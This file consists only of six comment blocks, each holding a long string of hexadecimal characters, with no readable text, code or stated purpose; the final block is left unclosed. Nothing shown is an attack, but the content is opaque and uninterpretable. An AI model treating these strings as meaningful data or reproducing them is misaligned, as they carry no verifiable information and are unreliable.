/*d10be2149579fc217dc777033706556800ab2da1f84d6aa191e9759302cd3a97f2e104a5e2c0edfe06e1ff411e00e5d802dde6abe8728a0ca80b80abd8d62450ed2fcae7dad99a126b2ba6b52e894c449dfff0f1181fbb73ca74fee0176ed05316ffd4259c3e74e418b656870445f92df8fd959efcedebafe515bb055eb2d4c9ee87c746236ce9784c20163c0cfdc2fe9d4f447126c56b2bcb0075b6fc7ffd40a61058683e5cc7772e84f11b75e367bd9f507fe008d8247354f2ec3cf293ccbe2106c3bf10ad6d30417828962aac6722c1e5a998eaec46498fa8e0fcf9138fa46e03678385ea62d313fddce9d9a971811aac78494a7a3dc9d09b9c7a6c9295320f6d1d4bb912f86d309c90fac77fdf06d5b1d62cec5419851994de3fe159b6bf1a2c7c727e099a08e5a65194f5c9a60efadf51b90652049cc0b5c2cabceff90b4c8749e2afb6fef2b1b9c3e8561e70fc1807bb471b28a04990d88625ca5e8ef03b913ef21476b18797aa2cd9a0acad55974cf0747fb050125a0312e60984c956271654817cc8805c202dc3999e89466cde07cdda15c622659e4d5ff9722736544581c7fd64dc303f57383fc79e7bbfc70d82ce131997a3f1b13490ed8c483e9c45f571e768a466d406f991903c23598a1b4d60fc51ca671a0545671db2cc0ed948f6015fb6ca287ec51a8b4e04c94f02f2546d3428492a2b6c28c27a335bd109a3b5ac844731ba3860ee29e93e5a795dd7c4c7718603fcf5bc377ed71dba77e66b7883a44a77d44c9081a36792985cf7d4056f96187884994c35d61967050986c687e413fb6c1f2fe9ff351177100a92ce51f811a136b60a2cc097f847ba4fd6f87474a9af09481296a22b1de9af1f81501b408b58dfc7693782bba7e03b3ebb5788611adb494f6fc2fee397c6bb5eeb9aa23d33009aa66ebc0c95b2cc441f7c1dc73c37c107ff5956331291f1c778f4a4295500246c566c5e6ad5adcb7fa1b1cd3d886ae2f95b0df6454384bb1a255ba6d35b6f1ba1584bcda04e77df205b9d04d8ddb9da22fcba090080a47aedd706872c508462109ded4e1a5f7b00a463e336ed3ec168d61b17f44690ae5aaeaac74453dcfd2b792da595020897517b599773be217362e46654e7709d6d2fc5484da242dafa09fba94d03d48b94d84f3252c459de1bb6950596786e2524859c1910a08c1fe592493df6b8344a3677b3ea908b299af4be4056fde5aecfa2ef2068dd0b1d512a57a6e7b5d61ebf6465bb82cfef2a1c234a50d621026532568fd8c3091962c51aedb11b150fde4135bfd5f6e138d9f3fdc705cbeed33ba5eafe486aa33e9dc9f03f0caf5597eb1a881dd1783e827b2f3951e8c6315adb67db17e6a8cec7c85c3d375674ad1f810abb2f090461f28745338ea22a14097ba724576ab8cf46d2d5e892873f3dbc8a0c131a57050e40a239f3e4fb9757bac76ece6e8eaf8a5eb75b483d0944251cf3de079596487e4922e2fc664e4a51b7cb93c26dc98ccb94d37a294f86491d88ccdeaa3bd9c3adf68ec22ea2752ce4be22ac310a0a10440d3fc02342feb639e5bdf940e6f0ecf9fca551b0fb3f1e4ffc1c151c8e87b9ee55f0e7a495e51540f990e58ccf00869bdf91d220d8f28026f28feed0d8e7788fdf831f9e330401d8a933bc820a13111330e38c08541b17eee4a1d17a41a9baf57742d0268d17d184d64d9beee8ec848858a50c016935116bcbeb5e794d39233ea4ec4e305591fa293c0b2500d17f8a135c84e7ed1f53a4ced480ddded0b363a80be37c1ae8a07527b58644e397157005dff0283f0e5a8346192e44efe3aba7e1f44290179b519043f263dd569c961520c7ae7f2e198dae41fbc713aeba7f4a6e192f15eccb5ecf672e0cecc2d29b877c039f26ca2a7400fe116607f317673604f65945dd3dd006fc0aecda040264bcf9b1a8ff4471277dc47f2abfba4922e665e4aa4b29c84400f9035d8c9bd8af9145406702e57d684185fce7f2f246c97171d26b6a10cfb7dda83bdc1b75d7c402427e8d525d67a7e2e8ff0f6bb7e06c744dd0e58a95659def6f353b7db1f16d2a79d6fb957434408ae46ed3e46f5040a239d5d5997620922cb3f46d7c13ca2b5536da82de5a12e07cffdcf17907ae90883f30960cdffe88f2d203b57857f8b56ab90f67b3fe6a6e06b053b95cbd630365e80c595f9175b5b064e043a9f989f398ca97bffe1f21f3cc546a68814506d5a1ad7a3462d8826ba1e985bfbaeff53094529294470137e3916e7c910ad2554af8f5eaef7d7aefc553c03dfee401d43217b810beb6ae78bec1d27cb2e0540bf74899c2bcfc4e517c41d6f2445ee3ad3d578906b2ee2c099bfcf87051a5c2844d6b0dee13aab80f67fe5bf588d2c722161255618530ee558d031bd28f7c56adad4bf09968c9495bb63ad53d5fac8093654cff9569aad74599209a1d0f04828a7b733d313b9ddfb1d3918f877c5e3e8e235624451eab085ce64c5881cb15971e7b5da4b3003310b6b6285cef5a916f7be2019681c237ba7deb35c57736d67eae565eb7df5d9e66d36ca3387749c5cb61a5ffcb0e789aeed10dfa1d49f474ed19db135193ae437fb0c0ba06b978cb6c0f13f365845705a9305b0b070068d1e51d9da8e24a3f82de57b78620d452658f2f06f19123b56046860bdef661a4c0026382de7def4b1de72e2767c6a9012e003f2cef63e6bb6c1868e7129876f7b87010dc2337d29245df71fafb6fd274e5fb874907ccde81c39b0ac6812b29fe527771d564799c79ac7ef20687e6b865003da2b1a21dc2c5b1d7b5921c9afe85672241cb87c5*/
/*e883cf4e1690a14d15f9db79e3cc8cfee89bb0b58c9f798f8071d0a2d3098f02fe21ed0519fd2d25fd0e715d3262b825f836195a06b9e959e011a0bb7c594bfaf0d61c99ffae49747b231edb1e8caf909b2e2e0ba2760525fc4caf10685056be3c131483fdbddf7d9165ea24869a7347840fb50d2878089c18de0f2d69c26030b390d58ca0b1db1f7969b293de0eb14699ea286d2c22a9303c8489f0cff1e3e29b3a25d62f8a38b10709dc98803c5e294fdbc2236aef8e70a8ecb28d50d2ad2d9887bd001a3ec580dcf46bcbe5c13005aa74aba809c19af4b822f4d7e6db21d384e13e756c972edc6ed08322fef76b093f0d5cccd4954ee2a7b868affed8aca90ebff154a02142d69a964d52751c20b3c19b50521f5bd993b94af0bdec669488db953ff320b78f5010524cfbd28a20ddcbcd4b9ec011eea867da80fd996ea9a8c3ec6abe4007a361551285d34f925fb6678d71474a6ce4442d2fccbc97de279ec9aa55822f2d4a6b0c9f83e7e6ba74fc24de9bc890bddfb7cfa2bbbab9a107cfceeb937e4aa76f0c8fbc090cf22aa46885f8c2488fdaa67a90f59f6e507f82607627b96ea5895a96b7a615f9f27488e9e1ce69ee6a0c4733038ceb7d1096a1a5641b1b54c5ad585d08df851878b3ec89f00238dc9bd8da5c0fad97aef744177523fc3f5819083a3e5eb3270b18bdd4f3c977cef94a9d272741528228d7b48a80626027fa59fdfb6f2a9b567606ace12352691b7ec4c1bffd4801856e1cd09d53343b282a77cb217f1cdbb811ee21ac186fbbee7486d08600d7276fae6d57459a0161392f4cb6052ff62d5b2d085854c0d4c062f2dac0cb82d53a46c23385b6827a2a8b7dbb7f3dc47efff1a989d29ee3eace2e994affc7582ddad45b99973e0d57f8fb7e1b1dab8944b8ce8077a61181209c4762923c18eb721fa0f33fb12bb7d8cadd344e54150c3651668a93d71e53a66bf65c24fcc668ae1981100360882d0eabafa6ddc73f1c2e348847abca340943e1d187b6ac7838a83edb73b5bdd66fe41434d7785a34c1a4c5d9c3e0dcc77a20fcd048f7bc5370400626ae6bb3e04f6e7aa1c4f0c9e4e519db0cf84a55d866ec9c2ea1c524121497f97fdd354d46468bfc1241800f7e4877eaac4482fd27d794e66a457a54f7d8abeee77a9c3da90fae44887878b6e0eb77f6aa3fa8c3fa29d59d9b06b6293e8e3b2e295a42f71f91b88948d74292751123c46badab1e57a15ceb4ae51db4b7e7610078dfb7df895deacbfe502b415c4631962cee8c5db50722a6f2b42ea376f91f3ff3d1d8721ffc4305a084ee038a7ef2bb48827ff2c57c948c19a10e6028d91ac3a0f015247cb8eb000bf6f7d800bf92c5e69f9d895ee305503f10f9da2cacf5d021faaeed282e730e7265b7a60d1087fb83462332c55850c3be46693f6f9dd0638444de317f2ca4004d5452d3c8c3114e4d10a003a61b6b8b7afb84f1acd037f32465a9b1b4f91130dfa1f89c10776247b85fdd943397a5a73dc95be19371bc3852e36025a90840e6c3c51e3080c9df69100d9b3a4b9455179d5699aa3bd02f886f08573756b6a9a8ea066c005da4b553315f3192d7490104b219b7a2a83bdb18f6be51d3ac910e7cb7548761c5d4bcda3befba020562cda070b9b7da9520f73bf8c21b0722b485c33129a8347883df24d590a8ce25ac557b5f67776e9238c4d10f120d8f111fcdb9dd167e17b538e7f64e6ce7ea39f4591e7c813438eb69f49ab83bfc351b04502bc0b0d5a73ddac21ca208f4e42c6bad38fc73d83dfd81184964aa35d522b7a2d1b94da200f87d4bb39ef833f88d0e1922fc6d791e7b0b572db3f15294a3e6b8e27f992592b5c84796f1022478324f8971b0183fdedc962a8aa993b7aea11cbcafaabab47ebec2d751cc9afd49e34196df47489d360ee8f0ce32a01f404a5cb71aa5db51eb0b4dc3fd67b15b9b734c9e4f33c72c22fc76aa4268930de547adbfb1460cb89060eb952b2c56b1739933463d445ea4d247ec27777b02e830e0ed91a577f3b2f7873fa2fd2bbb05928c8ba3c73bd4a1392ca4b7cc04691eda5dbcaee3498c8f72daad67a4df58951076cee46bbf530370d38627f8af697ae51e21df9e040e0f7ef9d49f2e2692050d2d18ab459928831f0a92250bb43063a549756f8b73be4c38e8b35c3f5c4a524c39699107b5686eaef50f6c09154493f6677a05d873394fd8792839b24b95b91f2267de4f5b2a03fda1493fca37a2ef92226908d66d11fbb6434d593c1791fba3cf864c28da39f224f06e6350cdb66787f4921339d4a2f3af1db2fa5d41e2228ccd08d6c6696c3db7ca218fff6962763dbb89c01628443ffae9f3271715ac3319256199f75afecb43df8e7d63ade29b57fa88875b8a0fa2a8789ccbe45ae002eb1fdc671bbdec438ab907b7db406236af1ab8008e36866adcec005a2704fa77c2a895f6361f122d68bea69672f3a81e4d552a9d26e32310b1616c325a9aeaade1a59c3f81d1f20741125b9e5c8d377696383470fb96e5d2defbca4e41b1e11b62f4336771731389480097146af15311803ec3a0b821b1a4544b25a521afbeb037a14c837afd76a736ffd4558560874d63a13d080e995835821171747e7c02469622a743e6de7c29b4f98332973141ef92a4b399f1cce6ce7f6925eebd3652697d103eb4d352ea871cdbbe9c4088725821012a790fc3f160389c2abf95770832c0c69f2d0a2e48f00d6c4df0a469a4d5ef0373d5fad47c6275d3423689160754f4caa198fc4121fea834b2425701bfc922bf749ecc99f80e8e6b411df5e9a924238aca*/
/*ba57ef1b8fc454383ee9a8b3f2542fab050342d73354a39c02e5f7dc49a48eb02824079ac9ce16f32dbf4ff1dc544d1255321e05edaba6dc48edb9753c6c06ffb98460617053bad8f3bde6a6dda4e19a3932fd4c8fde177134db35a5f34b8f280d5eab5c82298a0f0e4f90392fa1f4c842f946c8f3cb609a3903acce58df2677f0e1725a67693f0a86f673caf31d8cc53c3433302ebd17e6350452a4eeb0bae0727b3bb9fb247f9b5a7f13336cb8dcd2e6b4bc83c2b3a5d0c26ca125f4b9eddd25b5d89b670edfeb2bbeaa9f41d1a82f68fb8dcbe47690ca6740903201baade304e4ed663f4dc3ddf1537cf497dba2d826a45d66158eaf69bfecd137c24245b6b2982c85f9791d6782be8e4fdafebafd136ae048ccc9b5fad3b6ec49a65e42e5bc299e5acbaa683dfb68b945a0b4b08b34756c35a4533a78f7db81adbe9f391c982639be28fc1e96c5765f57e1cd5f4f3cf440f4f6ecaf664e0b8723e56cb6c38c3d89ff8b3932e8bfcd64892fe464ada317488f0bf31ee35008c84c9c6ec48be4a681820030a0aebd277d77e6776c8a64f6339123b42076b87cb92f329c59615537a09db00c163ff59f84f8f7a09c94459b2535a84940c727edea88f8a5f0d6368a25e3d5b65d5f250cc84e18d8b68aa13995d6c45b7b61384b834a50aba638e5735a84057157f7caecf21cd4e659a27ecf9bc2ee110dec6d3fcfb19414572bc5ff4d55a69b1b20985490a3957ad0ef22945e19fa8171347832cd5d6e08e5e37d9ff034e3feb85f7b39031ad5bd3f573b57c347511011cf4300de304a4e2d8d31cc2f5a4728dc8f0b54dea594d2441a2af4be76b0f13ed8573a034a26b1e222fff0e1ff645e55c92d05d1af42f0e709e3956437282117f21e681635a42bed97ca90017f70e98a6e3fe3d08a6938a514ad3d5d39924e1c0449d477de6b94e82f68f2c745c466afc7a1c71b8861baeb6e65f7651d8c743176d989bc0386c380f181c935468b197e992b3ddf60b6773226ab4d213d3191bc4c7aa34519289686f6e3ccfed97ca0634c20882817012c7ff74356fb9a76fc081201b66d9f18b60d8db1ff3e4394035a827d3862f823957413e00ec316be8e6da37d07f85d0a8d36c4e9bb2f75744d28410b743214eb774b2419cc012343c23c4a55ef46ba6026d1d374ffd630c1851c0f8a00b6cae2d9fd844a71b612a1d97358b237da41b93e5e35a189784cedd1ff625bf89618affba638a07a24caac5adadca714ff8fa60fae11765c0f684ec0fbc7a0b0f90bfd0da47481fd371d17822e0a65864c9afac1c0560e49f879162f2f9f7525f728c6a55586ebcb9d50f5c714aa4e664db8ae7767d5d7159b7fcb70964777abb01b277efbdcd9ad5b5618c80e0a0b7900dc09db960af621adc4c37680e036432d69f0475093589b9553bd6949e85f867e4ab07a149be37dcc85ad3a24342aac2db4e25c428a36f8b1fb0595e38081f6ddd704c78fad451ad3ff6a77716adb1168310244caf3f2c1a53fe846ca74c00faa481d58a3307caabbb0b17a1eb7f2dbd72ad3fe8b0af4ffccf92b18dcec46af8f9b14de6c50ea66f7a4a10dc446b835c7abccdb133c680c3ac83c75a6071d2974e914c617becb4717b05bc0b1d4770073f6ef994f92da52b7ae67b2adbe5f0eb41db41b2021548d44c7eb52609c5e97e53206596d21837e215f7a35995ff2a9df328b6e35b3d3a417c159aed08d92c8cbaa0877e3978284a81c01599d886bd25eb471b2ef6336519f92f749ecffa8ebc05f2cf834b05d5154248d0735e77f66996b272c43d49d73cffdd82aa6b8801ef3de2a49e09edf9c65311eda15ef5f68ea1eeca60ec2f434ec382adc370f951a9795f3e848436fb20c36685c30e9ce12c0f02672885d8e6a83626451c413d61488e707945120a819e4f2dac009cb343972c7a8cc3ed93a5bf7b0cc2b17f864c47e5fb4eba46844f86ef968d47665c3ec140ef0124de7d357907f77bfa137904d0c46dcedaa0953d6321780e8bf8f78f9133025073b8789093148ac2c8ff81dbfcbb57da2fd4636d9e5e7c2a310c24666202967ec9f94ce4fa4f41a0033e89eae8f9b8cb9115f810bd2859b564be265931f9ef799db61b4d70b998f423941cb323ebda6cb8dc5c7bd30b459f3ef06b79c12a8f6e3c44c8197f43c93435ada665ded574f881d0c1e65f2fe88524fa542bbf040bf970096506ce1d98d9e15d92c3a610680e22ab12f0a778ec9ca93c5d9dfbc9694fbe1412fb1f17d1a3e0cb5def64b3ea3c2e6f2f882446210ae461353ae98fb0acc62628fc8f370e6c94284c782f61866b22f144a7b86b6536c674f09393e76eece95c303090a5c3d7bcfaa08db695ec0b6a7d23279ded018443ad8e453de670b07b22ada86508f3454fbfe7aa5d6a7c19f412cc3a0da4522a0996f2f30aee29f9eaaec32b4732d6bc5bf0a89aa5973a2754ad809863d12bbae5a5ccef261cc759dbe524ac81ffefad9acc148a48a4b132b2dab75d5288e86dd457f5635b09e0b48507c9cb9433daa3b998502793c31fa34abf345c4ed57929c5c464b6b28c03d32a5badf7aeea50749bd860c710fe060bcf277baca2e06294c359e49e6bbcc9e8305d597ff6b71933f7d58559287a9d1e86dbb1cb7488cc9f04060d22e97bebc0753cb5ffe4c500bfa895c589ac8cd7182e83a57da6266971b08fe331770fce94274ac3783aa4dd65686ab91d861d7c1739afb022a86852f39b76274e778783b11487ec2e5417a8ed2d87bc07bcad518dd96f707a133572b82799072d3f3cf4b718e1ab5387714e590ea4376a71ad14fd08d17*/
/*0c95fa5e56ed13ae432cde32041b3d1f26e70a4e0e8a37652cba74d65e07cf4221d1b586f7db2991f9f9478c79a442c9548b9eeb873111543014d9c926dd2e93773312e8d26a3f32197e8513378822ce9087995078e1fe4cf391b888068e2a5d7411a61e2872905a9da2884f6c5b6bb682ebdf168872b1f98578ce48ff47c0dcfabe39b1fbc3419760b946b86b9c864332f99370848652702f43e6a1d0cf2033a971c555d40cb60dced3f7a42960d922322aeb85e7158d5bdeb659af15fd1a9ba27764e335d3d5796d34acef8395388bffdcb5e1c24bacc33f3a32fc10ba2beef0346d1a1ee197ecf319016828e0ba2862187267ab9241664242526663bbe3055f3a3ca55b891030a8761bf3c3c174d4f4e829493d607614be98e8535fdd3204b4eafb29174aefb28533ec7b5b906177965c20d6b0674c1be6cd2ec435b16445301d1dbc23a1bd21726f3ac4fb4ed66d962a9c6b2a2e762b051de05c0b97a3fd3cd69a02e0fedb5fcc7a6e9285a33150fe1ef1b8e22871ce8c5d9d7392af0a5a66bd10e0f25b583918f1c737a3dc10419c2bcf28ad0a974953ea978d4d785cc66be0ec14cb7d45ba5f3024ed0f97536e1abfe4f61b7aa1fac27f7e8afbfe0a793f3d4b34610af3a85c9647e54b18c03d9f99e9c9a966699c121cb21ee33ffdf34543bad928fe6fc20926c138e194764c1256ac0ce477f7e25925fec7df69573156bc69980ca10581a5ccbb4c3f72d66b0997f7d14ff37d684d5e8f1ecd337dab758d075d24e8c66ae59ad238e0536fbfe7b5f17596389c480359f8e737517a71d9a61b94b8dc3a05d0e794bf44fed377b8e6a1955e5bf339920ba228e7ea54cff9a54a8f8f3fdbbff456e5dc53dff7e5a556d0d2852bf7b54f80062faf7611aac2814362dbfe2a519084fd4aca102f8d1e4e037b08ecb7934078b11367c79a1439129a7f09e6692a6b6747f235a3516706b4e20ffe64a3bc85c6182391d16a751a5a398ba0c078fce174d9b5c68cf9755d8c17269953a0dbd3b47f622c707771e5309e335c60dbb6531d4a88d9f42bba1634fa1e1e7d607feec97c83377d9ea0f63ed4f8f0ba3a7740b25691b9d6cec051ae9067b6decaef981df9f9fc599b47c8dc7e2f801208140dbffe856cb490e300d3c9c500eaf1421e4eaed32e272c27efaa9d7e79e243564439a3ea046288e82ef5aefc0d6ac6c22db848906eda067551cb800b3ce2f4aa0be0be1ae6335da3c2382240806d4d1916faa1ded7f0f0da47f6e786b76fe45d32d17da10ea3a1b60f0cbce10cf97b5ca6928691d00168b578d655be00d99001d3b4fdd7526a58a12a3cb9d878172e08cb1b30ab078fef86fdc90aa8dfa9639ec1c6623d2f1184c054ee6b2e457587cdc0d5a790046db000b4dcc400e4335a72aac863045fef2eeb096e2dc2276f5b5bf0703a0cdd537c3cc15ab9efa018e6cdb63e5faf47e5eae6e616cf88b3e2298b29fa500f272d1494cfb49beff7a01752b0bc2e534d222f2ec8a4a5f61421ce459a2704c3a87e91fd8f9f483bee8cfdd871145f7bff48c6a5cc71a91e3042ad9b1879ddc1c58de822bb8557778887aa0e4bf5fdaf82ea616b5e533d02914552e808e1a933e86ad32f294fc3195776ff7cd0760a8ba499a5af4127037b5448776d19d7c1557e90ffb4a679749b597b770165edc01356bda2c3031a0775bfe4166d0981a6271b3f43492b4b52244ff7ae944a682b5e7a2d52f7047a12f9f3182ea519af32f68a005d549b35af9dbf26617abeb9eac4976bb9b99ef7e11d5b7ca47b7249684449920743dfabe38c53768df07000c7dbaf1e225cdabc59d89b35d5d0215c1ed6eb83e3dc39ed74f2c3e6e95ba870d11c437d696981c6df345859ba940aa19a54e1c4d816f05a871aa922eb6c528fbe760f712b16aa47d9feb12448df7b67b87de47b462d7e8b7ff459cf30b02b7ede3bb9f8035e0d53919fda102a024e84f9299fc5eb47df251fbc1e16c4cbb16f9a4b036af062e83ae030fcd1030040c66089168afa7d46c9a2f795a91e9568d03f93a7c16f9f39ad79b8962ea8b92f3a31b4089fe8047def03be16604785ad38a12c3ab32b9126455acda7c1d34c770613d080a7669fad8de570ce235bb41b23e8d9d92e303bc99c699bdfc641cd7f598d2cb2f7ddd5bab93f92aa67d32c182e03ad2d114b1b4318bf0ebf14265203c659b88687e6bd080a91481acbd8d87c0f634db26393e240067bc424330bafa375d48f42780fcc2f60d4395a8780c46c6f88e5d0dc3be6b3f5280c48aa510b247d390409dd9e6a9523c0f8454939ff8e219843a92cb6baf1a8f0755683fbc8db90029b8b8b29f58e73ffbc6b20884a08c73cc6637b372191cb27eb22621e1cd84e9ff6ecb54f50b066557209720235a738d74788a56bede184e551615daf840228a21ef550fed0a27d437ce122fe01a0ff1a3066d95a007ee52368d467111e2f6e9dc3ab4e621ef4479568ea8e16bdf113d25652d9d289d2d6c45baa30a6b6ea362c734dcc4182783fd1ea494b60838c8b6cd95cdb234ddff49bce75ad726ab89ed7a2132b5acefa022b3ab7a36d029c75f9a4a4fed3438aeb5f2dc28109e687db1d3c71074c6acc732c81512bc39e32f6a3007fc43ed447610066bd634fc7d4c24fc1d57c15dbc6f75f973c77d38d4cd1c14851ee0b0ee05a18e8a56522ae963cf9ee4b49df9ed2c0679157ce46dbb4d4c0a60a72d08b2e3748b3a32902827f964e30700b8b694c1a3d61c63d150244ef26a14f5ebf783a5753948e0701de92387222b163f35036836e0cd23df665dad0f7a8932f6c3e*/
/*afd2bb5364b395ecdf3f79ecd69bc8920321198b23755cc873d5d396d4ac4f10b2b59301fe1aa78eb19b374721367a978781502cbde86f789ea6eff2f5f3d891c12e7cfc02777883e0fb3fce73f84fa30d944ca445941694834e26cf8b20a33aba042daeb7960df03bb1f197449e148182b2356295587903e4f4d59f2a9ac56f81cab3b3dc8bc54e7d6536a858dd9f68fa929b0c8fffb4c2028d39eb3d93f5ec60166b8f0acd5cd3cc3de98dec75d655b8d04acd315d2259de2ecd975fcbc4dc233f2dcb55942178c51d20dc9815120d682a546c0b363fbaafaa5529297aa373ef7ecb1d780d3c9301fa6033234ead42b550f131c9aefcecf204e3a90bbcc8a8ed98d50727e2ae90cb8b624020f09960705ce3070322dd1ace760dfb8051b72af16ddbf3183dbf2ec2c390f32ccc7213b8c3fb79ad1ed078d235bd29e7a4b4bb7ca74e5a02fe96fd354969fc3370f03d8a19ab3e0745bcdea65528ffe42e0fefa00d4ab9be56b9d6793fe45b2db5f0145d9d9057cd1c49b93ffb554d7daee7fae57fae17515f5e30f3d033a0519cdc6c3d6e587e9297ce2a365054277444336e444f5236b56de255c9e0db4134473c9dca06e957699e5ab7787b022cafd56d630e1d83622ebdd32d8e3902dc299191d0048e6ebf57535b9ab3e61b59feffdd0e674c272ea56b256ca8c7ffc8d57a36e21048ab6b2b08aade22071710ab20cd335b418df0bf3cda837b82fdca1e9d2f6bb3b64afe6ecfb32802d0de741b3f6f7aa4a93e3eb46bbf1cfc6b4b979cde40c6160399f1127a1ea1badb4fc36e990b49d808c12a28a547cb502b392da868b409b30103ab2ea0e66b101ce65e085edb0d6e9e7c2bf7abb93fa22839c7565f8ecade71876d6d408e7a61a9fecf17744de224f775017a875263be6eac22d6e69708b50bacc7b2a837b2f95f21e38d6e7e983b307917a3a4e90cca42c3f1720345e149ba4086c51bc9e09293491b860e855b4483767e5b50d9a3e78871884cf3f881e92f3d2661df2da6870d937cc074bf8b0074bc3de1b4b1054dfd3e056b123b54a40b79bc50c41ed730dee41d7f995995120a5c751dcd6386595af03d30d95d9edc55243073580315bba73dd9e2a84d137eb82853d7b58531dc27b94001b8ef7b0d0c492518e00c6a0f3921491f588d00496aeb0510f23d13be3a00fcc77f00efa11ac20a3111a70dc57ce3896e77475331537066bf44c8743add8c961c1942617e4f0057467d565915e343ea8723d47b3e71b91c35ccc09dd590232d0c5df50b6f82cd29f2a0be03705e247983dbf2608abc0dabf14f89e930c0e918393f3e2877710af1a8934da7e1139e7b64533884fa9d6426653cec97a5e6071db41c26d5fa1fbdb76e3a4e975d2b03a86baf69a7697326c42a48e047af03421d2e3efb9d298ead85888b703a686c631815f19dc9066f77ac0991b8f3543182ce668c5beee3d70b92f8e0f02647a6c969fe471655c3361073702b3f09f67b15debb64b4ac0b9c8be6ea72201aa56fae7e85aa0a17234e1fb880362f1ea377799e3b1390a74a084af1e7923d47ba31328a11468dbbe971ae13682a800eae91833f32f9011f284e756b12758902b835edecf32b11aebffb9899bbf19163a35143267aaee57360f3f6b2a67919461f27c3abde9cadf7d8f74eda4502dedf9c2566096bad36bef4e210cb3205c7ed092dcc30f7f284c3000f7882b5bb70cd758be2488a51717bfb447686395e0f6f37c4d8dc870bedacdab351c506921cb696722971019520761765b6f77f53e2440551ed8111529b410b395fbe6068fb506243ce2f686420fa2577571c1842ae76a17b3f488e1a2ed91a85ead3d1dedce48bb515bb6616af831b42d68c32dfb0d962b72311d392a7c4608de7fce92c1d217066938638a8e1720facaf6235b50ac92a17120939174f1151e881e3dd4a4bb4ee8683690b142cba2adcdd68e64f570f138a98626f04c93a21f42fad612c2f1b12e313e4cfecddce01f956b89d0762eb61231f36ceaaad61f5704207078011df9b04721a633c7d9c0e8a35e464d63cac41830ac696e6c4024a6f4fbd22a72b0310edeb2f7cb5853f3c2fe2e3d8f1886f289826baf247cdbb8bed2a6a85dd9807a4719b165b03e5f30f67208a7f87859a24dcee77e58af2b0a12c2ae00823c312bb55fbe7688d5d4f6fa77b7ac9402f8a2d4c7c59be9b5112cbf6b4c0021f6de98ec38441e7ac5da4f3ac3de41551826abf9ec8b46f31d09326e9c7f3c52ce6259983a6b2b847ad131fd5b1f069b562b9c73d2ec3c8c6cba19d23d831292988edc192300dc022a2f142e47c32098a10d95ca3d2326fc7799fdb156a7251239d685fbd7a25f9a6310acdbdf7b5d39edf4f5a43043ef2f55fc9a02833d643cfaaa123c31790a30f3ccd2c4fa1507cdd721665e1f610fe85afb7af95bea50f0fecd7edf9ae00d2701d28880d579a83f41caab4ec2007f3bda2f904e5a5231785db2149ef801d1dbdcfc323cec5c00920ac08391f84c254e9e06f5cc8e84b5577b7d4471e71da02574c1198ba0d8989928637159dd8880bd4013659d9b255b4c5224219c4facc14ba9313a45113cc9c892e5abfc36452215651d162a51b6a626004ff52a416d59b808233ff5b8de2bf67bd715878c694e54efd777da6839a40e3cd1de5621a35f1705ecdc9570c9131cd1cf31b94bc2c35fc2dc2b28959013a6b9128eb9a6567936b189931e95366df6eb60c85d63e9bf0927afe70eaa958d958918d3a617559c4f370e771cf9d3fbfed34b44b50725d9d87bd96a1f53d141a47bace71ec8be00a7156ad*/
/*1c243e89b3f3191f3434e7d9713aea1d3bc1f6a330df93b0cdd94b5f9b1e8f704da1b88fd618dd475e23888b81505c64c49ba49a9df343019774f0e8dd52520fb815f85e2a47285c21b4de2b768b81e406a9b22a40cb50117491bdc54e69ca4c1469f0d87aaa44230feab9529f8b923bd76f6bd5f308bc91bbdbf8d44a52b47c14af807e41fc77177e8b728b8d1344149b78b61b91b3980b2f3ab3d32a3665ef2b4d5f9d462cd35810bc4bec75f6d4fbad2dc59ed6e0071f4fc060d442650f8efd7af58477efb31e10c1502cd2632a6fbb3a85023626b88e26e79e7938c0a8ee78036c87c242ceb441505b5aa08ebbb6dd196614508a95e1adb07fc942071eecbc918a4a99ef39d5a4453073b4e67fd0c52edf530f25879c3bb7105dd7cc38ef8bf36e45fa2b53e25d6dbf7e5aca6aaa9322ae589ad2e8d1e98f48de70900a129fca1c789c12f50acd6588728f2e1e9b2bddbd96c4df26ef3fb227914af14467b88768eae2c0638e3843467ba70264d5a451b0a8bb78a35a356a26d325171a9f6018be56b57c73bbecd889d682ad030496be30f9bdc2d06f01810ee3f1eb29f6dc0f51537c421680e2a77b890e74ae8fc9cc572ecee0f19bee9e3512175db0519ba988af420e68a01b58e9cbb736a34ca433b3d6369b825cd092af2cf07cb2643fee64054af50eebe96b7bd251e0f4e0fb710423fe78d8cee18a74d780daca090240928b693850a4fac24ffab37364db4b4a35746e354d8f57dd90df6b42a10ba2ea86c7d70db30853a160761d82e0af7a2fbf12c14a5d758c22115a990126bc0de4bdeddd10b55bfa29ff31eafc4c1a02642e1cdb30070d81ae3c7fa2b383ad372100945a694d84935c2ac74668ea730e6ac01a28f12f12a24c4e12d1d34c6df93ad3d365e033260538f5c5b789a2b4d1431dca3b481578ab42c6d64d68e13bedb9048f7083b327eafd3058f7917cacd4ed37d1415bf7f1a956176be148179f4a7b4ad3f36a592342f9f6fea0a53e97400da4539fb49530166e5bf6609582ae4bcf2338fd51c3bc869e49ee8d3e0fb56c9d465c3c6c04128e5bb91cd4cf950b7e4436db56ddbc3a3b2fd02c1542a0359dc1254c7cf127f1bd362864aff31f379fa24dbeb370dae60b768f3eb0d2cfd673671b049f529a7d935237bfd426b55ff345cce3b68d6dad61efcbf831dc036275c11984d18a9ed771deb0343bd533144beebc1d7cc5a5d6f1914bc956c1ca22e57c5d06aac5852488e51c3cb58b93d16c1cc24b7517007e9f7a025741611365658926fd0e4c2fbd3056df9c349c2e8bb5401825c22586351715b7b9b6f10d3a64cfe6ed3ef86c7ac8e4d5b3752fe01fd9add51323601d69a69ba37c981617e2fa6fee8980362165781b7e3ba98f7371cafaa4e25a139d9e7104851fd7ab5266f5415cf09e21afd5d38249cfbc0df9adc4033540c739ba6e6e8275dc70e43666dc7cf82b26bff14c82b7d6f37f543ae0fb2c74bd7ec1f25c5e9a058ae0dab1810c69763e5501a1f3c9c8115d575f210b3ef8e53a411e0f352ce7d882bf7f588c53ff116e78aaacd8da5fb7ba86c78fc6746550dd5bf66f737d068741ea8de39fd15d739219d63b48d955b3c8716758c7c419d346e05b9a17ddef47ae5ef8e0e1c2bbbbac094e2345c67f6083ec023b09610f3cdfc611980f818088127c2178b45ed94e2cc6483c2d5dcc58b1f571cb19c19a90b49dc1b54eef1a07045fa9a53721afc66b56a7488a5d3188075e40de95c68dc5597869f0147555dabcbc6a870318313299dc10aa6599a4d802ce8c53a8f7d46fcda330edfba8d200b476d6121bce2d974f42e958b16571d0bccb7502770f50d224cc83e52f7833bdebeb9ad1889906eb0c5c94d20044ebc17f4d6bd41eaf92329801fe6fc3f8366977f9cb59f983e4386c5241c981ff4805b758866cf1a59ef7459f6ae22ebad3a8bbbf20aa978704c45d4d50a1d58eef1196c5d1f9ce